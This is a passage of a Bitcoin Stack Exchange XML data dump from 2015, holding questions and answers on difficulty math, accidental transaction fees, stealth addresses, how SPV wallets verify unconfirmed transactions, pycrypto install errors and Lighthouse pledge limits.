block difference.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Because difficulty can only increase 4x in a single 2,016-block period, mining 23,228 blocks would only requiring going from difficulty 1 to difficulty &lt;code&gt;4**(23228 / 2016) == 4194304&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Although difficulty 4,194,304 sounds high.  Current mainnet difficulty is 44,455,415,962.  So, if I did my math right, you can create a chain longer than mainnet with roughly 0.001% of the current network hashrate.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="21052" LastActivityDate="2015-02-10T22:00:20.890" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="35989" PostTypeId="2" ParentId="35986" CreationDate="2015-02-10T22:36:40.760" Score="2" Body="&lt;p&gt;Speaking as a programmer, it's VERY easy to screw up the transaction fee. If you're not using a known bitcoin client and are making your own, it's quite easy to accidentally leave out an output or calculate things wrong. The blockchain won't accept your transaction if you're spending more than the inputs, but will happily accept transactions if you're spending much less than the inputs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All the errors basically end up going the same way (that is, in favor of the miners), so I'd imagine it's people like me who are testing something or trying to be too clever. This, by the way, is why you should be using &lt;a href=&quot;https://en.bitcoin.it/wiki/Testnet&quot; rel=&quot;nofollow&quot;&gt;testnet&lt;/a&gt; for software that's not ready.&lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2015-02-10T22:36:40.760" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35990" PostTypeId="2" ParentId="35986" CreationDate="2015-02-10T23:26:34.000" Score="3" Body="&lt;p&gt;As mentioned, raw transactions are incredibly easy to screw up since you must explicitly &lt;em&gt;pay yourself&lt;/em&gt; if you want change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a few scenarios besides unbalanced outputs which will produce huge transaction (Tx) fees:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;forgetting to pay change&lt;/li&gt;&#xA;&lt;li&gt;forgetting to convert to Satoshis in your code&lt;/li&gt;&#xA;&lt;li&gt;misplacing the decimal (perhaps due to rounding errors)&lt;/li&gt;&#xA;&lt;li&gt;swapping the fields using BCI or Bitcoin Core (this used to happen easily)&lt;/li&gt;&#xA;&lt;li&gt;setting the Txfee variable in the core software on top of the built in Tx fee&lt;/li&gt;&#xA;&lt;li&gt;a miner could spend time mining the current blockchain plus an additional non-broadcasted transaction with a high fee. If the miner succeeded, it would then broadcast and cause a spike in the graph. The miner wouldn't make any extra money, and it would be wasting time not contributing to a pool.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="9382" LastEditorUserId="6375" LastEditDate="2015-02-26T02:46:57.367" LastActivityDate="2015-02-26T02:46:57.367" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="35991" PostTypeId="2" ParentId="35983" CreationDate="2015-02-11T01:10:32.547" Score="1" Body="&lt;p&gt;Besides the HD wallet technology, you might want to investigate &quot;&lt;a href=&quot;http://www.coindesk.com/stealth-addresses-secret-bitcoin-privacy/&quot; rel=&quot;nofollow&quot;&gt;stealth addresses&lt;/a&gt;&quot; that are new to Bitcoin.  Not aware of any easy to use wallets supporting stealth addresses yet, unless you are into the Darkwallet. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The libbitcoin framework currently supports stealth address capability for Bitcoin, in particular see the &lt;a href=&quot;https://github.com/libbitcoin/libbitcoin-explorer/wiki/Stealth-Commands&quot; rel=&quot;nofollow&quot;&gt;bx&lt;/a&gt; command which incidentally is deprecating the &lt;a href=&quot;https://sx.dyne.org/&quot; rel=&quot;nofollow&quot;&gt;sx&lt;/a&gt; command also mentioned Andreas Antonopoulos's &lt;a href=&quot;https://github.com/aantonop/bitcoinbook&quot; rel=&quot;nofollow&quot;&gt;book&lt;/a&gt; - available at O'Reilly. bx is pure C++ code while sx was a combination of C++ and Python. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suspect the &lt;a href=&quot;https://airbitz.co/&quot; rel=&quot;nofollow&quot;&gt;airBitz&lt;/a&gt; wallet, currently HD-enabled will be one of the first mainstream mobile wallet applications to support stealth addresses because it is built up the libbitcoin foundation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe the one major issue with stealth addresses is both the sender's wallet and the recipient's wallet must support it because the address formant is very different from the typical Bitcoin address. (Have not yet experimented with BX enough to say if this is true for certain.) Stealth addresses are effectively performing Diffie-Hellman-Merkle key exchanges behind the scene. More information must be conveyed to make this happen. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a nutshell, Peter Todd's stealth address invention will be great to print on business cards to share while still maintaining your financial privacy. Only waiting for the stealth address BIP63 to be posted at &lt;a href=&quot;https://github.com/bitcoin/bips&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bips&lt;/a&gt;. Not sure what the politics are...&lt;/p&gt;&#xA;" OwnerUserId="10377" LastActivityDate="2015-02-11T01:10:32.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35992" PostTypeId="2" ParentId="35979" CreationDate="2015-02-11T01:34:39.610" Score="0" Body="&lt;p&gt;Not sure if I can assist you directly. I compiled the code myself from the Github bitcoin/bitcoin &lt;a href=&quot;https://github.com/bitcoin/bitcoin&quot; rel=&quot;nofollow&quot;&gt;site&lt;/a&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just compiled bitcoind for OSX 10.9 and 10.10.  Notice that the results below are for v0.9.4. Here are the &quot;getinfo&quot; results I get for the testNet. (FYSA - had to apply a soft link so that I didn't have to supply a fully qualified file path name.)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Skaht% bitcoin-cli -conf=testNet.conf getinfo&#xA;{&#xA;    &quot;version&quot; : 90400,&#xA;    &quot;protocolversion&quot; : 70002,&#xA;    &quot;walletversion&quot; : 60000,&#xA;    &quot;balance&quot; : 0.00000000,&#xA;    &quot;blocks&quot; : 322742,&#xA;    &quot;timeoffset&quot; : 0,&#xA;    &quot;connections&quot; : 1,&#xA;    &quot;proxy&quot; : &quot;&quot;,&#xA;    &quot;difficulty&quot; : 1.00000000,&#xA;    &quot;testnet&quot; : true,&#xA;    &quot;keypoololdest&quot; : 1423202150,&#xA;    &quot;keypoolsize&quot; : 102,&#xA;    &quot;paytxfee&quot; : 0.00000000,&#xA;    &quot;relayfee&quot; : 0.00001000,&#xA;    &quot;errors&quot; : &quot;&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Its a little disturbing to see the difficulty factor is shown to be one. However, when I issued a &quot;coin&quot; RPC to the bfgminer connected to the testNet bitcoind I received a valid difficulty factor.&lt;/p&gt;&#xA;" OwnerUserId="10377" LastEditorUserId="2306" LastEditDate="2015-02-11T06:09:43.997" LastActivityDate="2015-02-11T06:09:43.997" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35993" PostTypeId="2" ParentId="35979" CreationDate="2015-02-11T02:32:07.427" Score="2" Body="&lt;p&gt;I'm not totally sure why it failed on height 26859, but I upgraded to 0.9.4 (from 0.9.3) using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;apt-get install --only-upgrade bitcoind&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then I deleted the testnet3 folder and fired up bitcoind and now it's working and has passed height 26859.&lt;/p&gt;&#xA;" OwnerUserId="22818" LastEditorUserId="22818" LastEditDate="2015-02-11T02:39:45.937" LastActivityDate="2015-02-11T02:39:45.937" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35997" PostTypeId="1" AcceptedAnswerId="35999" CreationDate="2015-02-11T17:52:19.613" Score="7" ViewCount="1933" Body="&lt;p&gt;Alice pays Bob 1 BTC with a simple pay-to-address type transaction. Three seconds after Alice broadcasts her transaction, Bob's Simplified Payment Verification (SPV) wallet displays a message saying the transaction was received.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How exactly does this work? What checks, if any, does Bob's wallet do before showing the message?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A lot of the SPV documentation I've seen makes vague statements about &quot;height&quot; vs. &quot;depth&quot; verification. These discussions aren't helpful because they don't describe the actual process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The clearest statement I've found appears on the BitcoinJ documentation (under &quot;Pending transactions&quot;):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;... However, in SPV mode the only reason you have to believe the transaction is valid is the fact that the nodes you connected to relayed the transaction. If an attacker could ensure you were connected to his nodes, this would mean they could feed you a transaction that was completely invalid (spent non-existing money), and it would still be accepted as if it was valid.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoinj.github.io/security-model&quot;&gt;https://bitcoinj.github.io/security-model&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, complete trust is placed in the network to only relay valid transactions. The network isn't supposed to relay double spends or transactions spending bogus coins. Therefore, the relay, and only the relay, vouches for the validity of the unconfirmed transaction. If an attacker can control your internet connection (through a WiFi hotspot, or VPN, for example), then he can send you fake unconfirmed transactions and rip you off.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this how SPV nodes handle unconfirmed transactions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems like an SPV node could do better. For example, couldn't Bob's wallet verify that the coins being spent existed at one time? Request the Merkle path and transaction for all outpoints referenced in the unconfirmed transaction's input list. If the parent transactions can't be found, Alice's transaction is trying to spend bogus coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could a similar mechanism be used to further verify that Alice's unconfirmed transaction doesn't double spend coins?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If neither of these checks are possible today, what would need to happen for them to become possible?&lt;/p&gt;&#xA;" OwnerUserId="10845" LastActivityDate="2015-12-11T18:43:29.370" Title="How does an SPV node verify an unconfirmed transaction?" Tags="|unconfirmed-transactions|spv|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35998" PostTypeId="2" ParentId="35997" CreationDate="2015-02-11T19:59:33.180" Score="1" Body="&lt;p&gt;This is a known problem and a lot of it has been outlined in this &lt;a href=&quot;https://en.bitcoin.it/wiki/Thin_Client_Security&quot; rel=&quot;nofollow&quot;&gt;bitcoin.it article&lt;/a&gt;. Essentially, what you're relying on when you use an SPV wallet like Electrum is that by using many random servers and certificates, you minimize the risk of being fooled on an unconfirmed transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's an interesting proposal called &lt;a href=&quot;https://en.bitcoin.it/wiki/Thin_Client_Security#Unused_Output_Tree_in_the_Block_chain_.28UOT.29&quot; rel=&quot;nofollow&quot;&gt;&quot;Unused Output Tree&quot;&lt;/a&gt; which would make scenarios like yours require less trust.&lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2015-02-11T19:59:33.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35999" PostTypeId="2" ParentId="35997" CreationDate="2015-02-11T21:35:12.227" Score="2" Body="&lt;p&gt;First, &lt;em&gt;nobody&lt;/em&gt; should rely solely on unconfirmed transactions.  This applies equally to full node operators and SPV wallet users.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Bob's wallet verify that the coins being spent existed at one time? Request the Merkle path and transaction for all outpoints referenced in the unconfirmed transaction's input list.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, that can be done now.  I doubt any wallets do that now, as with the current P2P network design it would be slow and not definitive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be slow because the network protocol does not allow requesting arbitrary transactions.  In order to get a particular transaction, you have to set a &lt;a href=&quot;http://btcorg.localhost/en/developer-reference#filterload&quot; rel=&quot;nofollow&quot;&gt;bloom filter&lt;/a&gt; and then keep requesting &lt;a href=&quot;http://btcorg.localhost/en/developer-reference#merkleblock&quot; rel=&quot;nofollow&quot;&gt;merkle blocks&lt;/a&gt; until you find the block that contains the transaction.  In the case of a negative search, this would require requesting a merkle block for every block on the block chain, or downloading about 32 MB of data and forcing your full node peer to scan its entire about 30 GB block chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would not be definitive because anyone can withhold data from an SPV node.  For example, the full node that notifies the SPV node about an unconfirmed transaction can include merkle blocks to each of the inputs, proving that they exist on the block chain.  But the full node can't include any proof that those inputs haven't been previously spent on the block chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When some form of &lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/3977&quot; rel=&quot;nofollow&quot;&gt;UTXO commitments&lt;/a&gt; gets implemented, it will become possible for full nodes to prove to SPV nodes that an input was unspent up to the tip of the SPV node's header chain.  However, it that still doesn't offer any guarantee that the transaction won't be double spent anyway.  (In short, it decreases the full node's ability to lie without making unconfirmed transactions any more secure.)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Could a similar mechanism be used to further verify that Alice's unconfirmed transaction doesn't double spend coins?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No, this is fundamentally impossible because an unconfirmed transaction is just data.  Alice could create and broadcast transaction T paying Bob and then create transaction T' (a double spend) that she keeps secret on her hard drive.  Because it's a secret, you don't know about T', but it's still a valid double spend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are various proposals to allow full nodes to relay information about broadcast double spends, such as Gavin Andresen's &lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/3354&quot; rel=&quot;nofollow&quot;&gt;relay first double spend&lt;/a&gt; or Peter Todd's &lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/4298&quot; rel=&quot;nofollow&quot;&gt;replace by fee&lt;/a&gt;, but none of these can provide a method to verify there are no double spends in existence for a particular input.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's also possible to change how Bitcoin verifies signatures to require either mathematical &lt;a href=&quot;http://www.mail-archive.com/bitcoin-development%40lists.sourceforge.net/msg06626.html&quot; rel=&quot;nofollow&quot;&gt;ECDSA one-show signatures&lt;/a&gt; or &lt;a href=&quot;http://www.mail-archive.com/bitcoin-development%40lists.sourceforge.net/msg06634.html&quot; rel=&quot;nofollow&quot;&gt;consensus one-show signatures&lt;/a&gt;.  This wouldn't stop double spends, but it would mean that anyone who had two signatures for the same input could create a third spend taking all the money for themselves.  (E.g. if a miner running a full node received T and T', it could create and mine T3 paying the full input value to itself.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would obviously disincentivize creating public double spends, but it wouldn't stop them.  Worse, there are some easy ways around the disincentives for systematic fraudsters, but everyday users like you and me who occasionally need to make double spends for legitimate reasons (e.g. because a transaction isn't confirming) couldn't safely make them any more.&lt;/p&gt;&#xA;" OwnerUserId="21052" LastEditorUserId="21052" LastEditDate="2015-12-11T18:43:29.370" LastActivityDate="2015-12-11T18:43:29.370" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="36000" PostTypeId="2" ParentId="29540" CreationDate="2015-02-11T22:34:21.477" Score="1" Body="&lt;p&gt;I'm trying to figure this out too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of running the server interface at &lt;a href=&quot;http://127.0.0.1:7876&quot; rel=&quot;nofollow&quot;&gt;http://127.0.0.1:7876&lt;/a&gt; try &lt;a href=&quot;http://127.0.0.1:7876/test&quot; rel=&quot;nofollow&quot;&gt;http://127.0.0.1:7876/test&lt;/a&gt; . Looks like a bunch of API calls. I'm playing with it right now.&lt;/p&gt;&#xA;" OwnerUserId="23317" LastActivityDate="2015-02-11T22:34:21.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36001" PostTypeId="1" CreationDate="2015-02-11T23:19:40.283" Score="1" ViewCount="56" Body="&lt;p&gt;&lt;a href=&quot;http://www.theverge.com/2013/5/6/4295028/report-satoshi-nakamoto&quot; rel=&quot;nofollow&quot;&gt;This article&lt;/a&gt; refers to a large block of Bitcoins mined in 2009, potentially by Nakamoto.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the best way of identifying which block of Bitcoins are referenced in the article?&lt;/p&gt;&#xA;" OwnerUserId="14857" LastActivityDate="2015-02-11T23:19:40.283" Title="How to identify large block of coins referenced in this article, reportedly mined by Nakamoto?" Tags="|satoshi-nakamoto|traceability|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36002" PostTypeId="1" CreationDate="2015-02-11T23:24:06.733" Score="1" ViewCount="486" Body="&lt;p&gt;What services let you trace the history of Bitcoins? For instance, if the goal is  to trace all transactions associated with Bitcoins owned by a certain individual or company, what's the best way to accomplish this?&lt;/p&gt;&#xA;" OwnerUserId="14857" LastActivityDate="2015-02-15T10:06:28.073" Title="What services let you trace the history of Bitcoins?" Tags="|traceability|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36003" PostTypeId="1" CreationDate="2015-02-12T04:27:28.920" Score="3" ViewCount="111" Body="&lt;p&gt;I'm curious to why is there a 684 transaction limit for each campaign when using the lighthouse crowd funding app. If I was wanting to raise 25 BTC for a project, the minimum that someone that would have to fund me is .036 (about $10 today). This leaves out the ability for people wanting to fund $1-$5. Just curious to why is there that limit and why wont it enable smaller amounts? I was contemplating on using lighthouse or nxt's monetary system. &lt;/p&gt;&#xA;" OwnerUserId="3029" LastEditorUserId="21052" LastEditDate="2015-02-12T13:18:41.887" LastActivityDate="2015-02-12T13:18:41.887" Title="Why are Lighthouse campaigns limited to 684 pledges?" Tags="|nxt|crowdfunding|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36004" PostTypeId="1" AcceptedAnswerId="37459" CreationDate="2015-02-12T06:12:51.343" Score="1" ViewCount="10205" Body="&lt;p&gt;Whilst there's less of an issue with Python 2.7, Python 3.4 relies on the pycrypto library for numerous wrappers/APIs/tools such as BlockTrail, pycoin, pybitcointools, etc etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The error I'm getting:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;building 'Crypto.Random.OSRNG.winrandom' extension&#xA;&#xA;warning: GMP or MPIR library not found; Not building Crypto.PublicKey._fastmath.&#xA;&#xA;error: Unable to find vcvarsall.bat&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's &lt;a href=&quot;https://stackoverflow.com/questions/21829188/error-unable-to-find-vcvarsall-bat-when-installing-fabric-python-library-on&quot;&gt;an issue with the gcc C++ compiler for Windows&lt;/a&gt;, I understand, however the binaries offered in that solution, sadly, don't cover Python 3.4 (version for 3.&lt;strong&gt;3&lt;/strong&gt; won't cut it, unfortunately).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A solution - other than installing &lt;em&gt;pseudo-Posix (ie Ming32)&lt;/em&gt; - would be very useful for those transitioning to Python 3.x&lt;code&gt;enter preformatted text here&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="9382" LastActivityDate="2015-05-18T18:55:04.707" Title="Solving PyCrypto 2.6.1 errors for Python 3.4 (Windows7 x64)?" Tags="|development|windows|python|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36005" PostTypeId="2" ParentId="36004" CreationDate="2015-02-12T06:12:51.343" Score="2" Body="&lt;p&gt;Binaries available for &lt;strong&gt;Python 3.4&lt;/strong&gt;: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/axper/python3-pycrypto-windows-installer&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/axper/python3-pycrypto-windows-installer&lt;/a&gt; 32 &amp;amp; 64 bits&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;As &lt;a href=&quot;https://stackoverflow.com/a/21829189/3936486&quot;&gt;outlined here on SE&lt;/a&gt;, binaries available for &lt;strong&gt;Python 2.x - 3.3&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.voidspace.org.uk/python/modules.shtml#pycrypto&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.voidspace.org.uk/python/modules.shtml#pycrypto&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This solves the dependencies issues error &lt;code&gt;compile failed with error code 1&lt;/code&gt; using pip. Also, the following error screen (at the CLI) should not be appearing any more following installation, via pip or &lt;em&gt;setup install&lt;/em&gt;, of &lt;a href=&quot;https://pypi.python.org/pypi/pycrypto&quot; rel=&quot;nofollow noreferrer&quot;&gt;pycrypto&lt;/a&gt; dependent libraries!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Skipping implicit fixer: ws_comma&#xA;running build_ext&#xA;building 'Crypto.Random.OSRNG.winrandom' extension&#xA;warning: GMP or MPIR library not found; Not building Crypto.PublicKey._fastmath.&#xA;error: Unable to find vcvarsall.bat&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9382" LastEditorUserId="-1" LastEditDate="2017-05-23T12:34:59.703" LastActivityDate="2015-02-12T06:12:51.343" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36007" PostTypeId="1" CreationDate="2015-02-12T07:54:24.213" Score="1" ViewCount="116" Body="&lt;p&gt;I have created a new altcoin, and I run a server on one machine and connect bitcoin-qt on another machine. In this case it's blink the network connection, sometimes it shows one connection and after sometime it will disconnect and again show connected. What is the issue with that and how I can resolve that issue? &lt;/p&gt;&#xA;" OwnerUserId="23320" LastEditorUserId="2306" LastEditDate="2015-02-18T02:23:40.187" LastActivityDate="2015-02-18T02:23:40.187" Title="Bitcoin-qt doesn't get a server connection?" Tags="|bitcoind|linux|cryptography|c++|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36008" PostTypeId="2" ParentId="22649" CreationDate="2015-02-12T08:19:57.973" Score="1" Body="&lt;p&gt;A lot of this info is a bit outdated and as of now I still can't find anywhere that says Bitstamp is insured but Coinbase is FDIC insured for USD.&lt;/p&gt;&#xA;" OwnerUserId="23321" LastActivityDate="2015-02-12T08:19:57.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36010" PostTypeId="1" CreationDate="2015-02-12T11:24:10.490" Score="1" ViewCount="597" Body="&lt;p&gt;I am wanting to buy a hardware for mining bitcoin and namecoin using Bitminter. But then Genesis Mining offer online cloud mining. I want to know if it's better to buy a hardware for mining bitcoin or use cloud mining? &lt;/p&gt;&#xA;" OwnerUserId="23324" LastEditorUserId="5406" LastEditDate="2016-04-19T10:01:43.603" LastActivityDate="2018-12-19T12:09:03.550" Title="Which is best for mining bitcoin?" Tags="|mining-profitability|mining-hardware|cloud-mining|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36012" PostTypeId="2" ParentId="36003" CreationDate="2015-02-12T13:13:03.860" Score="4" Body="&lt;p&gt;Lighthouse's &lt;a href=&quot;https://www.vinumeris.com/lighthouse/faq#max-pledges&quot; rel=&quot;nofollow&quot;&gt;Frequently Asked Questions (FAQ) says&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Currently you cannot accept more than 684 pledges for your project. This is due to limitations in the Bitcoin protocol - the final contract that claims the pledges is a single Bitcoin transaction, and thus is limited to 500 kilobytes by the Bitcoin block size and protocol relay rules.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Note: &quot;500 kilobytes&quot; is a typo---I just confirmed this via email with Lighthouse author Mike Hearn.  The correct size for standard transactions is 100 KB.  Mike is also thinking about bumping up the standard size in his &lt;a href=&quot;https://github.com/bitcoinxt/bitcoinxt&quot; rel=&quot;nofollow&quot;&gt;Bitcoin XT&lt;/a&gt; project to allow miners to opt-in to the larger size.  (That hard limit, for now, is slightly less than 1 megabyte---a whole block.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of that 100 KB, a small part is the &lt;a href=&quot;https://bitcoin.org/en/developer-reference#txout&quot; rel=&quot;nofollow&quot;&gt;output (TxOut)&lt;/a&gt; that pays the receiver of the funds (you, in your case).  If you use a standard &lt;a href=&quot;https://bitcoin.org/en/developer-guide#term-p2pkh&quot; rel=&quot;nofollow&quot;&gt;P2PKH&lt;/a&gt; or &lt;a href=&quot;https://bitcoin.org/en/developer-guide#term-p2sh&quot; rel=&quot;nofollow&quot;&gt;P2SH&lt;/a&gt; pubkey script, the output will be 34 bytes or less.  There's also a small part dedicated to the transaction metadata (such as the transaction version number); the size of the metadata varies a bit by how many pledges you get, so lets round it up to 20 bytes.  That leaves 99,946 bytes left for pledges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;99946 / 684 = 146&lt;/code&gt; bytes per plegde (rounded down).  A pledge is a single &lt;a href=&quot;https://bitcoin.org/en/developer-reference#txin&quot; rel=&quot;nofollow&quot;&gt;input (TxIn)&lt;/a&gt; that pays the output described above.  The input is (if necessary) pre-spent to ensure it has exactly the pledge amount---that means there's no change output to worry about.  The &lt;a href=&quot;https://github.com/vinumeris/lighthouse/blob/master/docs/Design%20doc.md&quot; rel=&quot;nofollow&quot;&gt;Lighthouse design document&lt;/a&gt; doesn't explicitly say what type of input it spends, but I'll assume it only spends P2PKH inputs using compressed public keys, which are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;36-byte &lt;a href=&quot;https://bitcoin.org/en/developer-reference#outpoint&quot; rel=&quot;nofollow&quot;&gt;outpoint&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;up to 72-byte signature&lt;/li&gt;&#xA;&lt;li&gt;1-byte &lt;a href=&quot;https://bitcoin.org/en/developer-guide#signature-hash-types&quot; rel=&quot;nofollow&quot;&gt;signature hash&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;33-byte &lt;a href=&quot;https://bitcoin.org/en/developer-guide#public-key-formats&quot; rel=&quot;nofollow&quot;&gt;compressed public key&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;2 bytes of data pushes&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;... for a total of 144 bytes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Lighthouse FAQ also says in that same section:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A future version of Lighthouse could optimise its usage of transaction space to bump up the maximum number of pledges by another few hundred.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I suspect the optimization Mike is implying would be using &lt;a href=&quot;https://bitcoin.org/en/developer-guide#pubkey&quot; rel=&quot;nofollow&quot;&gt;P2PK&lt;/a&gt; inputs, which would be:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;36-byte outpoint&lt;/li&gt;&#xA;&lt;li&gt;up to 72-byte signature&lt;/li&gt;&#xA;&lt;li&gt;1-byte signature hash&lt;/li&gt;&#xA;&lt;li&gt;1 byte of data pushes&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;... for a total of 110 bytes.  If implemented, this would allow &lt;code&gt;99946 / 110 = 908&lt;/code&gt; pledges per transaction, or about a 30% increase.  There are a few other ways to optimize, such as requiring smaller signatures, but these provide rapidly diminishing marginal gains.&lt;/p&gt;&#xA;" OwnerUserId="21052" LastActivityDate="2015-02-12T13:13:03.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36013" PostTypeId="1" CreationDate="2015-02-12T13:33:43.230" Score="7" ViewCount="3037" Body="&lt;p&gt;I am getting into Bitcoin development and it seems that bitcoin &lt;a href=&quot;https://bitcoin.org/en/developer-examples#regtest-mode&quot; rel=&quot;nofollow noreferrer&quot;&gt;regtest mode&lt;/a&gt; is perfect for testing our applications. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to create a network, following &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/28107/bitcoin-is-not-connected-in-regtest-mode/30697#30697&quot;&gt;Fred Tingey's answer&lt;/a&gt; but, unfortunately, it's not working. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need suggestions, what information can I provide?&#xA;I am trying to use docker, but I have to first create 64-bit Ubuntu machine.&#xA;Thanks&lt;/p&gt;&#xA;" OwnerUserId="23325" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2017-11-04T20:19:40.540" Title="Is it possible to create bitcoind regtest network on Ubuntu (which itself is on Virtualbox)?" Tags="|bitcoind|regtest|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
